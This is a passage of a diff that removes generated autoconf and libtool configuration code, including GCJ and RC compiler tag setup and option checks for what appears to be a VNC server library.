- # We cannot hardcode anything, or else we can only hardcode existing
- # directories.
- hardcode_action_GCJ=unsupported
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $hardcode_action_GCJ" >&5
-$as_echo "$hardcode_action_GCJ" >&6; }
-
-if test "$hardcode_action_GCJ" = relink; then
- # Fast installation is not supported
- enable_fast_install=no
-elif test "$shlibpath_overrides_runpath" = yes ||
- test "$enable_shared" = no; then
- # Fast installation is not necessary
- enable_fast_install=needless
-fi
-
-
-# The else clause should only fire when bootstrapping the
-# libtool distribution, otherwise you forgot to ship ltmain.sh
-# with your package, and you will get complaints that there are
-# no rules to generate ltmain.sh.
-if test -f "$ltmain"; then
- # See if we are running on zsh, and set the options which allow our commands through
- # without removal of \ escapes.
- if test -n "${ZSH_VERSION+set}" ; then
- setopt NO_GLOB_SUBST
- fi
- # Now quote all the things that may contain metacharacters while being
- # careful not to overquote the AC_SUBSTed values. We take copies of the
- # variables and quote the copies for generation of the libtool script.
- for var in echo old_CC old_CFLAGS AR AR_FLAGS EGREP RANLIB LN_S LTCC LTCFLAGS NM \
- SED SHELL STRIP \
- libname_spec library_names_spec soname_spec extract_expsyms_cmds \
- old_striplib striplib file_magic_cmd finish_cmds finish_eval \
- deplibs_check_method reload_flag reload_cmds need_locks \
- lt_cv_sys_global_symbol_pipe lt_cv_sys_global_symbol_to_cdecl \
- lt_cv_sys_global_symbol_to_c_name_address \
- sys_lib_search_path_spec sys_lib_dlsearch_path_spec \
- old_postinstall_cmds old_postuninstall_cmds \
- compiler_GCJ \
- CC_GCJ \
- LD_GCJ \
- lt_prog_compiler_wl_GCJ \
- lt_prog_compiler_pic_GCJ \
- lt_prog_compiler_static_GCJ \
- lt_prog_compiler_no_builtin_flag_GCJ \
- export_dynamic_flag_spec_GCJ \
- thread_safe_flag_spec_GCJ \
- whole_archive_flag_spec_GCJ \
- enable_shared_with_static_runtimes_GCJ \
- old_archive_cmds_GCJ \
- old_archive_from_new_cmds_GCJ \
- predep_objects_GCJ \
- postdep_objects_GCJ \
- predeps_GCJ \
- postdeps_GCJ \
- compiler_lib_search_path_GCJ \
- archive_cmds_GCJ \
- archive_expsym_cmds_GCJ \
- postinstall_cmds_GCJ \
- postuninstall_cmds_GCJ \
- old_archive_from_expsyms_cmds_GCJ \
- allow_undefined_flag_GCJ \
- no_undefined_flag_GCJ \
- export_symbols_cmds_GCJ \
- hardcode_libdir_flag_spec_GCJ \
- hardcode_libdir_flag_spec_ld_GCJ \
- hardcode_libdir_separator_GCJ \
- hardcode_automatic_GCJ \
- module_cmds_GCJ \
- module_expsym_cmds_GCJ \
- lt_cv_prog_compiler_c_o_GCJ \
- exclude_expsyms_GCJ \
- include_expsyms_GCJ; do
-
- case $var in
- old_archive_cmds_GCJ | \
- old_archive_from_new_cmds_GCJ | \
- archive_cmds_GCJ | \
- archive_expsym_cmds_GCJ | \
- module_cmds_GCJ | \
- module_expsym_cmds_GCJ | \
- old_archive_from_expsyms_cmds_GCJ | \
- export_symbols_cmds_GCJ | \
- extract_expsyms_cmds | reload_cmds | finish_cmds | \
- postinstall_cmds | postuninstall_cmds | \
- old_postinstall_cmds | old_postuninstall_cmds | \
- sys_lib_search_path_spec | sys_lib_dlsearch_path_spec)
- # Double-quote double-evaled strings.
- eval "lt_$var=\\\"\`\$echo \"X\$$var\" | \$Xsed -e \"\$double_quote_subst\" -e \"\$sed_quote_subst\" -e \"\$delay_variable_subst\"\`\\\""
- ;;
- *)
- eval "lt_$var=\\\"\`\$echo \"X\$$var\" | \$Xsed -e \"\$sed_quote_subst\"\`\\\""
- ;;
- esac
- done
-
- case $lt_echo in
- *'\$0 --fallback-echo"')
- lt_echo=`$echo "X$lt_echo" | $Xsed -e 's/\\\\\\\$0 --fallback-echo"$/$0 --fallback-echo"/'`
- ;;
- esac
-
-cfgfile="$ofile"
-
- cat <<__EOF__ >> "$cfgfile"
-# ### BEGIN LIBTOOL TAG CONFIG: $tagname
-
-# Libtool was configured on host `(hostname || uname -n) 2>/dev/null | sed 1q`:
-
-# Shell to use when invoking shell scripts.
-SHELL=$lt_SHELL
-
-# Whether or not to build shared libraries.
-build_libtool_libs=$enable_shared
-
-# Whether or not to build static libraries.
-build_old_libs=$enable_static
-
-# Whether or not to add -lc for building shared libraries.
-build_libtool_need_lc=$archive_cmds_need_lc_GCJ
-
-# Whether or not to disallow shared libs when runtime libs are static
-allow_libtool_libs_with_static_runtimes=$enable_shared_with_static_runtimes_GCJ
-
-# Whether or not to optimize for fast installation.
-fast_install=$enable_fast_install
-
-# The host system.
-host_alias=$host_alias
-host=$host
-host_os=$host_os
-
-# The build system.
-build_alias=$build_alias
-build=$build
-build_os=$build_os
-
-# An echo program that does not interpret backslashes.
-echo=$lt_echo
-
-# The archiver.
-AR=$lt_AR
-AR_FLAGS=$lt_AR_FLAGS
-
-# A C compiler.
-LTCC=$lt_LTCC
-
-# LTCC compiler flags.
-LTCFLAGS=$lt_LTCFLAGS
-
-# A language-specific compiler.
-CC=$lt_compiler_GCJ
-
-# Is the compiler the GNU C compiler?
-with_gcc=$GCC_GCJ
-
-# An ERE matcher.
-EGREP=$lt_EGREP
-
-# The linker used to build libraries.
-LD=$lt_LD_GCJ
-
-# Whether we need hard or soft links.
-LN_S=$lt_LN_S
-
-# A BSD-compatible nm program.
-NM=$lt_NM
-
-# A symbol stripping program
-STRIP=$lt_STRIP
-
-# Used to examine libraries when file_magic_cmd begins "file"
-MAGIC_CMD=$MAGIC_CMD
-
-# Used on cygwin: DLL creation program.
-DLLTOOL="$DLLTOOL"
-
-# Used on cygwin: object dumper.
-OBJDUMP="$OBJDUMP"
-
-# Used on cygwin: assembler.
-AS="$AS"
-
-# The name of the directory that contains temporary libtool files.
-objdir=$objdir
-
-# How to create reloadable object files.
-reload_flag=$lt_reload_flag
-reload_cmds=$lt_reload_cmds
-
-# How to pass a linker flag through the compiler.
-wl=$lt_lt_prog_compiler_wl_GCJ
-
-# Object file suffix (normally "o").
-objext="$ac_objext"
-
-# Old archive suffix (normally "a").
-libext="$libext"
-
-# Shared library suffix (normally ".so").
-shrext_cmds='$shrext_cmds'
-
-# Executable file suffix (normally "").
-exeext="$exeext"
-
-# Additional compiler flags for building library objects.
-pic_flag=$lt_lt_prog_compiler_pic_GCJ
-pic_mode=$pic_mode
-
-# What is the maximum length of a command?
-max_cmd_len=$lt_cv_sys_max_cmd_len
-
-# Does compiler simultaneously support -c and -o options?
-compiler_c_o=$lt_lt_cv_prog_compiler_c_o_GCJ
-
-# Must we lock files when doing compilation?
-need_locks=$lt_need_locks
-
-# Do we need the lib prefix for modules?
-need_lib_prefix=$need_lib_prefix
-
-# Do we need a version for libraries?
-need_version=$need_version
-
-# Whether dlopen is supported.
-dlopen_support=$enable_dlopen
-
-# Whether dlopen of programs is supported.
-dlopen_self=$enable_dlopen_self
-
-# Whether dlopen of statically linked programs is supported.
-dlopen_self_static=$enable_dlopen_self_static
-
-# Compiler flag to prevent dynamic linking.
-link_static_flag=$lt_lt_prog_compiler_static_GCJ
-
-# Compiler flag to turn off builtin functions.
-no_builtin_flag=$lt_lt_prog_compiler_no_builtin_flag_GCJ
-
-# Compiler flag to allow reflexive dlopens.
-export_dynamic_flag_spec=$lt_export_dynamic_flag_spec_GCJ
-
-# Compiler flag to generate shared objects directly from archives.
-whole_archive_flag_spec=$lt_whole_archive_flag_spec_GCJ
-
-# Compiler flag to generate thread-safe objects.
-thread_safe_flag_spec=$lt_thread_safe_flag_spec_GCJ
-
-# Library versioning type.
-version_type=$version_type
-
-# Format of library name prefix.
-libname_spec=$lt_libname_spec
-
-# List of archive names. First name is the real one, the rest are links.
-# The last name is the one that the linker finds with -lNAME.
-library_names_spec=$lt_library_names_spec
-
-# The coded name of the library, if different from the real name.
-soname_spec=$lt_soname_spec
-
-# Commands used to build and install an old-style archive.
-RANLIB=$lt_RANLIB
-old_archive_cmds=$lt_old_archive_cmds_GCJ
-old_postinstall_cmds=$lt_old_postinstall_cmds
-old_postuninstall_cmds=$lt_old_postuninstall_cmds
-
-# Create an old-style archive from a shared archive.
-old_archive_from_new_cmds=$lt_old_archive_from_new_cmds_GCJ
-
-# Create a temporary old-style archive to link instead of a shared archive.
-old_archive_from_expsyms_cmds=$lt_old_archive_from_expsyms_cmds_GCJ
-
-# Commands used to build and install a shared archive.
-archive_cmds=$lt_archive_cmds_GCJ
-archive_expsym_cmds=$lt_archive_expsym_cmds_GCJ
-postinstall_cmds=$lt_postinstall_cmds
-postuninstall_cmds=$lt_postuninstall_cmds
-
-# Commands used to build a loadable module (assumed same as above if empty)
-module_cmds=$lt_module_cmds_GCJ
-module_expsym_cmds=$lt_module_expsym_cmds_GCJ
-
-# Commands to strip libraries.
-old_striplib=$lt_old_striplib
-striplib=$lt_striplib
-
-# Dependencies to place before the objects being linked to create a
-# shared library.
-predep_objects=$lt_predep_objects_GCJ
-
-# Dependencies to place after the objects being linked to create a
-# shared library.
-postdep_objects=$lt_postdep_objects_GCJ
-
-# Dependencies to place before the objects being linked to create a
-# shared library.
-predeps=$lt_predeps_GCJ
-
-# Dependencies to place after the objects being linked to create a
-# shared library.
-postdeps=$lt_postdeps_GCJ
-
-# The library search path used internally by the compiler when linking
-# a shared library.
-compiler_lib_search_path=$lt_compiler_lib_search_path_GCJ
-
-# Method to check whether dependent libraries are shared objects.
-deplibs_check_method=$lt_deplibs_check_method
-
-# Command to use when deplibs_check_method == file_magic.
-file_magic_cmd=$lt_file_magic_cmd
-
-# Flag that allows shared libraries with undefined symbols to be built.
-allow_undefined_flag=$lt_allow_undefined_flag_GCJ
-
-# Flag that forces no undefined symbols.
-no_undefined_flag=$lt_no_undefined_flag_GCJ
-
-# Commands used to finish a libtool library installation in a directory.
-finish_cmds=$lt_finish_cmds
-
-# Same as above, but a single script fragment to be evaled but not shown.
-finish_eval=$lt_finish_eval
-
-# Take the output of nm and produce a listing of raw symbols and C names.
-global_symbol_pipe=$lt_lt_cv_sys_global_symbol_pipe
-
-# Transform the output of nm in a proper C declaration
-global_symbol_to_cdecl=$lt_lt_cv_sys_global_symbol_to_cdecl
-
-# Transform the output of nm in a C name address pair
-global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address
-
-# This is the shared library runtime path variable.
-runpath_var=$runpath_var
-
-# This is the shared library path variable.
-shlibpath_var=$shlibpath_var
-
-# Is shlibpath searched before the hard-coded library search path?
-shlibpath_overrides_runpath=$shlibpath_overrides_runpath
-
-# How to hardcode a shared library path into an executable.
-hardcode_action=$hardcode_action_GCJ
-
-# Whether we should hardcode library paths into libraries.
-hardcode_into_libs=$hardcode_into_libs
-
-# Flag to hardcode \$libdir into a binary during linking.
-# This must work even if \$libdir does not exist.
-hardcode_libdir_flag_spec=$lt_hardcode_libdir_flag_spec_GCJ
-
-# If ld is used when linking, flag to hardcode \$libdir into
-# a binary during linking. This must work even if \$libdir does
-# not exist.
-hardcode_libdir_flag_spec_ld=$lt_hardcode_libdir_flag_spec_ld_GCJ
-
-# Whether we need a single -rpath flag with a separated argument.
-hardcode_libdir_separator=$lt_hardcode_libdir_separator_GCJ
-
-# Set to yes if using DIR/libNAME${shared_ext} during linking hardcodes DIR into the
-# resulting binary.
-hardcode_direct=$hardcode_direct_GCJ
-
-# Set to yes if using the -LDIR flag during linking hardcodes DIR into the
-# resulting binary.
-hardcode_minus_L=$hardcode_minus_L_GCJ
-
-# Set to yes if using SHLIBPATH_VAR=DIR during linking hardcodes DIR into
-# the resulting binary.
-hardcode_shlibpath_var=$hardcode_shlibpath_var_GCJ
-
-# Set to yes if building a shared library automatically hardcodes DIR into the library
-# and all subsequent libraries and executables linked against it.
-hardcode_automatic=$hardcode_automatic_GCJ
-
-# Variables whose values should be saved in libtool wrapper scripts and
-# restored at relink time.
-variables_saved_for_relink="$variables_saved_for_relink"
-
-# Whether libtool must link a program against all its dependency libraries.
-link_all_deplibs=$link_all_deplibs_GCJ
-
-# Compile-time system search path for libraries
-sys_lib_search_path_spec=$lt_sys_lib_search_path_spec
-
-# Run-time system search path for libraries
-sys_lib_dlsearch_path_spec=$lt_sys_lib_dlsearch_path_spec
-
-# Fix the shell variable \$srcfile for the compiler.
-fix_srcfile_path="$fix_srcfile_path_GCJ"
-
-# Set to yes if exported symbols are required.
-always_export_symbols=$always_export_symbols_GCJ
-
-# The commands to list exported symbols.
-export_symbols_cmds=$lt_export_symbols_cmds_GCJ
-
-# The commands to extract the exported symbol list from a shared archive.
-extract_expsyms_cmds=$lt_extract_expsyms_cmds
-
-# Symbols that should not be listed in the preloaded symbols.
-exclude_expsyms=$lt_exclude_expsyms_GCJ
-
-# Symbols that must always be exported.
-include_expsyms=$lt_include_expsyms_GCJ
-
-# ### END LIBTOOL TAG CONFIG: $tagname
-
-__EOF__
-
-
-else
- # If there is no Makefile yet, we rely on a make rule to execute
- # `config.status --recheck' to rerun these tests and create the
- # libtool script then.
- ltmain_in=`echo $ltmain | sed -e 's/\.sh$/.in/'`
- if test -f "$ltmain_in"; then
- test -f Makefile && make "$ltmain"
- fi
-fi
-
-
-ac_ext=c
-ac_cpp='$CPP $CPPFLAGS'
-ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5'
-ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5'
-ac_compiler_gnu=$ac_cv_c_compiler_gnu
-
-CC="$lt_save_CC"
-
- else
- tagname=""
- fi
- ;;
-
- RC)
-
-
-# Source file extension for RC test sources.
-ac_ext=rc
-
-# Object file extension for compiled RC test sources.
-objext=o
-objext_RC=$objext
-
-# Code to be used in simple compile tests
-lt_simple_compile_test_code='sample MENU { MENUITEM "&Soup", 100, CHECKED }\n'
-
-# Code to be used in simple link tests
-lt_simple_link_test_code="$lt_simple_compile_test_code"
-
-# ltmain only uses $CC for tagged configurations so make sure $CC is set.
-
-# If no C compiler was specified, use CC.
-LTCC=${LTCC-"$CC"}
-
-# If no C compiler flags were specified, use CFLAGS.
-LTCFLAGS=${LTCFLAGS-"$CFLAGS"}
-
-# Allow CC to be a program name with arguments.
-compiler=$CC
-
-
-# save warnings/boilerplate of simple test code
-ac_outfile=conftest.$ac_objext
-printf "$lt_simple_compile_test_code" >conftest.$ac_ext
-eval "$ac_compile" 2>&1 >/dev/null | $SED '/^$/d; /^ *+/d' >conftest.err
-_lt_compiler_boilerplate=`cat conftest.err`
-$rm conftest*
-
-ac_outfile=conftest.$ac_objext
-printf "$lt_simple_link_test_code" >conftest.$ac_ext
-eval "$ac_link" 2>&1 >/dev/null | $SED '/^$/d; /^ *+/d' >conftest.err
-_lt_linker_boilerplate=`cat conftest.err`
-$rm conftest*
-
-
-# Allow CC to be a program name with arguments.
-lt_save_CC="$CC"
-CC=${RC-"windres"}
-compiler=$CC
-compiler_RC=$CC
-for cc_temp in $compiler""; do
- case $cc_temp in
- compile | *[\\/]compile | ccache | *[\\/]ccache ) ;;
- distcc | *[\\/]distcc | purify | *[\\/]purify ) ;;
- \-*) ;;
- *) break;;
- esac
-done
-cc_basename=`$echo "X$cc_temp" | $Xsed -e 's%.*/%%' -e "s%^$host_alias-%%"`
-
-lt_cv_prog_compiler_c_o_RC=yes
-
-# The else clause should only fire when bootstrapping the
-# libtool distribution, otherwise you forgot to ship ltmain.sh
-# with your package, and you will get complaints that there are
-# no rules to generate ltmain.sh.
-if test -f "$ltmain"; then
- # See if we are running on zsh, and set the options which allow our commands through
- # without removal of \ escapes.
- if test -n "${ZSH_VERSION+set}" ; then
- setopt NO_GLOB_SUBST
- fi
- # Now quote all the things that may contain metacharacters while being
- # careful not to overquote the AC_SUBSTed values. We take copies of the
- # variables and quote the copies for generation of the libtool script.
- for var in echo old_CC old_CFLAGS AR AR_FLAGS EGREP RANLIB LN_S LTCC LTCFLAGS NM \
- SED SHELL STRIP \
- libname_spec library_names_spec soname_spec extract_expsyms_cmds \
- old_striplib striplib file_magic_cmd finish_cmds finish_eval \
- deplibs_check_method reload_flag reload_cmds need_locks \
- lt_cv_sys_global_symbol_pipe lt_cv_sys_global_symbol_to_cdecl \
- lt_cv_sys_global_symbol_to_c_name_address \
- sys_lib_search_path_spec sys_lib_dlsearch_path_spec \
- old_postinstall_cmds old_postuninstall_cmds \
- compiler_RC \
- CC_RC \
- LD_RC \
- lt_prog_compiler_wl_RC \
- lt_prog_compiler_pic_RC \
- lt_prog_compiler_static_RC \
- lt_prog_compiler_no_builtin_flag_RC \
- export_dynamic_flag_spec_RC \
- thread_safe_flag_spec_RC \
- whole_archive_flag_spec_RC \
- enable_shared_with_static_runtimes_RC \
- old_archive_cmds_RC \
- old_archive_from_new_cmds_RC \
- predep_objects_RC \
- postdep_objects_RC \
- predeps_RC \
- postdeps_RC \
- compiler_lib_search_path_RC \
- archive_cmds_RC \
- archive_expsym_cmds_RC \
- postinstall_cmds_RC \
- postuninstall_cmds_RC \
- old_archive_from_expsyms_cmds_RC \
- allow_undefined_flag_RC \
- no_undefined_flag_RC \
- export_symbols_cmds_RC \
- hardcode_libdir_flag_spec_RC \
- hardcode_libdir_flag_spec_ld_RC \
- hardcode_libdir_separator_RC \
- hardcode_automatic_RC \
- module_cmds_RC \
- module_expsym_cmds_RC \
- lt_cv_prog_compiler_c_o_RC \
- exclude_expsyms_RC \
- include_expsyms_RC; do
-
- case $var in
- old_archive_cmds_RC | \
- old_archive_from_new_cmds_RC | \
- archive_cmds_RC | \
- archive_expsym_cmds_RC | \
- module_cmds_RC | \
- module_expsym_cmds_RC | \
- old_archive_from_expsyms_cmds_RC | \
- export_symbols_cmds_RC | \
- extract_expsyms_cmds | reload_cmds | finish_cmds | \
- postinstall_cmds | postuninstall_cmds | \
- old_postinstall_cmds | old_postuninstall_cmds | \
- sys_lib_search_path_spec | sys_lib_dlsearch_path_spec)
- # Double-quote double-evaled strings.
- eval "lt_$var=\\\"\`\$echo \"X\$$var\" | \$Xsed -e \"\$double_quote_subst\" -e \"\$sed_quote_subst\" -e \"\$delay_variable_subst\"\`\\\""
- ;;
- *)
- eval "lt_$var=\\\"\`\$echo \"X\$$var\" | \$Xsed -e \"\$sed_quote_subst\"\`\\\""
- ;;
- esac
- done
-
- case $lt_echo in
- *'\$0 --fallback-echo"')
- lt_echo=`$echo "X$lt_echo" | $Xsed -e 's/\\\\\\\$0 --fallback-echo"$/$0 --fallback-echo"/'`
- ;;
- esac
-
-cfgfile="$ofile"
-
- cat <<__EOF__ >> "$cfgfile"
-# ### BEGIN LIBTOOL TAG CONFIG: $tagname
-
-# Libtool was configured on host `(hostname || uname -n) 2>/dev/null | sed 1q`:
-
-# Shell to use when invoking shell scripts.
-SHELL=$lt_SHELL
-
-# Whether or not to build shared libraries.
-build_libtool_libs=$enable_shared
-
-# Whether or not to build static libraries.
-build_old_libs=$enable_static
-
-# Whether or not to add -lc for building shared libraries.
-build_libtool_need_lc=$archive_cmds_need_lc_RC
-
-# Whether or not to disallow shared libs when runtime libs are static
-allow_libtool_libs_with_static_runtimes=$enable_shared_with_static_runtimes_RC
-
-# Whether or not to optimize for fast installation.
-fast_install=$enable_fast_install
-
-# The host system.
-host_alias=$host_alias
-host=$host
-host_os=$host_os
-
-# The build system.
-build_alias=$build_alias
-build=$build
-build_os=$build_os
-
-# An echo program that does not interpret backslashes.
-echo=$lt_echo
-
-# The archiver.
-AR=$lt_AR
-AR_FLAGS=$lt_AR_FLAGS
-
-# A C compiler.
-LTCC=$lt_LTCC
-
-# LTCC compiler flags.
-LTCFLAGS=$lt_LTCFLAGS
-
-# A language-specific compiler.
-CC=$lt_compiler_RC
-
-# Is the compiler the GNU C compiler?
-with_gcc=$GCC_RC
-
-# An ERE matcher.
-EGREP=$lt_EGREP
-
-# The linker used to build libraries.
-LD=$lt_LD_RC
-
-# Whether we need hard or soft links.
-LN_S=$lt_LN_S
-
-# A BSD-compatible nm program.
-NM=$lt_NM
-
-# A symbol stripping program
-STRIP=$lt_STRIP
-
-# Used to examine libraries when file_magic_cmd begins "file"
-MAGIC_CMD=$MAGIC_CMD
-
-# Used on cygwin: DLL creation program.
-DLLTOOL="$DLLTOOL"
-
-# Used on cygwin: object dumper.
-OBJDUMP="$OBJDUMP"
-
-# Used on cygwin: assembler.
-AS="$AS"
-
-# The name of the directory that contains temporary libtool files.
-objdir=$objdir
-
-# How to create reloadable object files.
-reload_flag=$lt_reload_flag
-reload_cmds=$lt_reload_cmds
-
-# How to pass a linker flag through the compiler.
-wl=$lt_lt_prog_compiler_wl_RC
-
-# Object file suffix (normally "o").
-objext="$ac_objext"
-
-# Old archive suffix (normally "a").
-libext="$libext"
-
-# Shared library suffix (normally ".so").
-shrext_cmds='$shrext_cmds'
-
-# Executable file suffix (normally "").
-exeext="$exeext"
-
-# Additional compiler flags for building library objects.
-pic_flag=$lt_lt_prog_compiler_pic_RC
-pic_mode=$pic_mode
-
-# What is the maximum length of a command?
-max_cmd_len=$lt_cv_sys_max_cmd_len
-
-# Does compiler simultaneously support -c and -o options?
-compiler_c_o=$lt_lt_cv_prog_compiler_c_o_RC
-
-# Must we lock files when doing compilation?
-need_locks=$lt_need_locks
-
-# Do we need the lib prefix for modules?
-need_lib_prefix=$need_lib_prefix
-
-# Do we need a version for libraries?
-need_version=$need_version
-
-# Whether dlopen is supported.
-dlopen_support=$enable_dlopen
-
-# Whether dlopen of programs is supported.
-dlopen_self=$enable_dlopen_self
-
-# Whether dlopen of statically linked programs is supported.
-dlopen_self_static=$enable_dlopen_self_static
-
-# Compiler flag to prevent dynamic linking.
-link_static_flag=$lt_lt_prog_compiler_static_RC
-
-# Compiler flag to turn off builtin functions.
-no_builtin_flag=$lt_lt_prog_compiler_no_builtin_flag_RC
-
-# Compiler flag to allow reflexive dlopens.
-export_dynamic_flag_spec=$lt_export_dynamic_flag_spec_RC
-
-# Compiler flag to generate shared objects directly from archives.
-whole_archive_flag_spec=$lt_whole_archive_flag_spec_RC
-
-# Compiler flag to generate thread-safe objects.
-thread_safe_flag_spec=$lt_thread_safe_flag_spec_RC
-
-# Library versioning type.
-version_type=$version_type
-
-# Format of library name prefix.
-libname_spec=$lt_libname_spec
-
-# List of archive names. First name is the real one, the rest are links.
-# The last name is the one that the linker finds with -lNAME.
-library_names_spec=$lt_library_names_spec
-
-# The coded name of the library, if different from the real name.
-soname_spec=$lt_soname_spec
-
-# Commands used to build and install an old-style archive.
-RANLIB=$lt_RANLIB
-old_archive_cmds=$lt_old_archive_cmds_RC
-old_postinstall_cmds=$lt_old_postinstall_cmds
-old_postuninstall_cmds=$lt_old_postuninstall_cmds
-
-# Create an old-style archive from a shared archive.
-old_archive_from_new_cmds=$lt_old_archive_from_new_cmds_RC
-
-# Create a temporary old-style archive to link instead of a shared archive.
-old_archive_from_expsyms_cmds=$lt_old_archive_from_expsyms_cmds_RC
-
-# Commands used to build and install a shared archive.
-archive_cmds=$lt_archive_cmds_RC
-archive_expsym_cmds=$lt_archive_expsym_cmds_RC
-postinstall_cmds=$lt_postinstall_cmds
-postuninstall_cmds=$lt_postuninstall_cmds
-
-# Commands used to build a loadable module (assumed same as above if empty)
-module_cmds=$lt_module_cmds_RC
-module_expsym_cmds=$lt_module_expsym_cmds_RC
-
-# Commands to strip libraries.
-old_striplib=$lt_old_striplib
-striplib=$lt_striplib
-
-# Dependencies to place before the objects being linked to create a
-# shared library.
-predep_objects=$lt_predep_objects_RC
-
-# Dependencies to place after the objects being linked to create a
-# shared library.
-postdep_objects=$lt_postdep_objects_RC
-
-# Dependencies to place before the objects being linked to create a
-# shared library.
-predeps=$lt_predeps_RC
-
-# Dependencies to place after the objects being linked to create a
-# shared library.
-postdeps=$lt_postdeps_RC
-
-# The library search path used internally by the compiler when linking
-# a shared library.
-compiler_lib_search_path=$lt_compiler_lib_search_path_RC
-
-# Method to check whether dependent libraries are shared objects.
-deplibs_check_method=$lt_deplibs_check_method
-
-# Command to use when deplibs_check_method == file_magic.
-file_magic_cmd=$lt_file_magic_cmd
-
-# Flag that allows shared libraries with undefined symbols to be built.
-allow_undefined_flag=$lt_allow_undefined_flag_RC
-
-# Flag that forces no undefined symbols.
-no_undefined_flag=$lt_no_undefined_flag_RC
-
-# Commands used to finish a libtool library installation in a directory.
-finish_cmds=$lt_finish_cmds
-
-# Same as above, but a single script fragment to be evaled but not shown.
-finish_eval=$lt_finish_eval
-
-# Take the output of nm and produce a listing of raw symbols and C names.
-global_symbol_pipe=$lt_lt_cv_sys_global_symbol_pipe
-
-# Transform the output of nm in a proper C declaration
-global_symbol_to_cdecl=$lt_lt_cv_sys_global_symbol_to_cdecl
-
-# Transform the output of nm in a C name address pair
-global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address
-
-# This is the shared library runtime path variable.
-runpath_var=$runpath_var
-
-# This is the shared library path variable.
-shlibpath_var=$shlibpath_var
-
-# Is shlibpath searched before the hard-coded library search path?
-shlibpath_overrides_runpath=$shlibpath_overrides_runpath
-
-# How to hardcode a shared library path into an executable.
-hardcode_action=$hardcode_action_RC
-
-# Whether we should hardcode library paths into libraries.
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-
-# Flag to hardcode \$libdir into a binary during linking.
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-
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-
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-
-# Set to yes if using SHLIBPATH_VAR=DIR during linking hardcodes DIR into
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-
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-# and all subsequent libraries and executables linked against it.
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-
-# Variables whose values should be saved in libtool wrapper scripts and
-# restored at relink time.
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-# Whether libtool must link a program against all its dependency libraries.
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-sys_lib_search_path_spec=$lt_sys_lib_search_path_spec
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-# Run-time system search path for libraries
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-
-# Fix the shell variable \$srcfile for the compiler.
-fix_srcfile_path="$fix_srcfile_path_RC"
-
-# Set to yes if exported symbols are required.
-always_export_symbols=$always_export_symbols_RC
-
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-
-# The commands to extract the exported symbol list from a shared archive.
-extract_expsyms_cmds=$lt_extract_expsyms_cmds
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-# Symbols that should not be listed in the preloaded symbols.
-exclude_expsyms=$lt_exclude_expsyms_RC
-
-# Symbols that must always be exported.
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-
-# ### END LIBTOOL TAG CONFIG: $tagname
-
-__EOF__
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- # If there is no Makefile yet, we rely on a make rule to execute
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- # libtool script then.
- ltmain_in=`echo $ltmain | sed -e 's/\.sh$/.in/'`
- if test -f "$ltmain_in"; then
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- fi
-fi
-
-
-ac_ext=c
-ac_cpp='$CPP $CPPFLAGS'
-ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5'
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-ac_compiler_gnu=$ac_cv_c_compiler_gnu
-
-CC="$lt_save_CC"
-
- ;;
-
- *)
- as_fn_error $? "Unsupported tag name: $tagname" "$LINENO" 5
- ;;
- esac
-
- # Append the new tag name to the list of available tags.
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- available_tags="$available_tags $tagname"
- fi
- fi
- done
- IFS="$lt_save_ifs"
-
- # Now substitute the updated list of available tags.
- if eval "sed -e 's/^available_tags=.*\$/available_tags=\"$available_tags\"/' \"$ofile\" > \"${ofile}T\""; then
- mv "${ofile}T" "$ofile"
- chmod +x "$ofile"
- else
- rm -f "${ofile}T"
- as_fn_error $? "unable to update list of available tagged configurations." "$LINENO" 5
- fi
-fi
-
-
-
-# This can be used to rebuild libtool when needed
-LIBTOOL_DEPS="$ac_aux_dir/ltmain.sh"
-
-# Always use our own libtool.
-LIBTOOL='$(SHELL) $(top_builddir)/libtool'
-
-# Prevent multiple expansion
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-# Extract the first word of "ar", so it can be a program name with args.
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-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
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-if ${ac_cv_path_AR+:} false; then :
- $as_echo_n "(cached) " >&6
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- *)
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-do
- IFS=$as_save_IFS
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- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
- ac_cv_path_AR="$as_dir/$ac_word$ac_exec_ext"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-done
- done
-IFS=$as_save_IFS
-
- test -z "$ac_cv_path_AR" && ac_cv_path_AR="/usr/bin/ar"
- ;;
-esac
-fi
-AR=$ac_cv_path_AR
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-$as_echo "$AR" >&6; }
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- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-
-
-
-# Options
-
-
-@%:@ Check whether --with-tightvnc-filetransfer was given.
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- withval=$with_tightvnc_filetransfer;
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-fi
-
-# AC_DEFINE moved to after libpthread check.
-
-# WebSockets support
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for __b64_ntop in -lresolv" >&5
-$as_echo_n "checking for __b64_ntop in -lresolv... " >&6; }
-if ${ac_cv_lib_resolv___b64_ntop+:} false; then :
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- ac_check_lib_save_LIBS=$LIBS
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-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
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- builtin and then its argument prototype would still apply. */
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-extern "C"
-#endif
-char __b64_ntop ();
-int
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-{
-return __b64_ntop ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
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- ac_cv_lib_resolv___b64_ntop=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_resolv___b64_ntop" >&5
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-
-
-
-@%:@ Check whether --with-websockets was given.
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- withval=$with_websockets;
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- with_websockets=yes
-fi
-
-# AC_DEFINE moved to after libresolve check.
-
-
-
-@%:@ Check whether --with-24bpp was given.
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- withval=$with_24bpp;
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- with_24bpp=yes
-fi
-
-if test "x$with_24bpp" = "xyes"; then
- $as_echo "@%:@define ALLOW24BPP 1" >>confdefs.h
-
-fi
-
-
-@%:@ Check whether --with-ffmpeg was given.
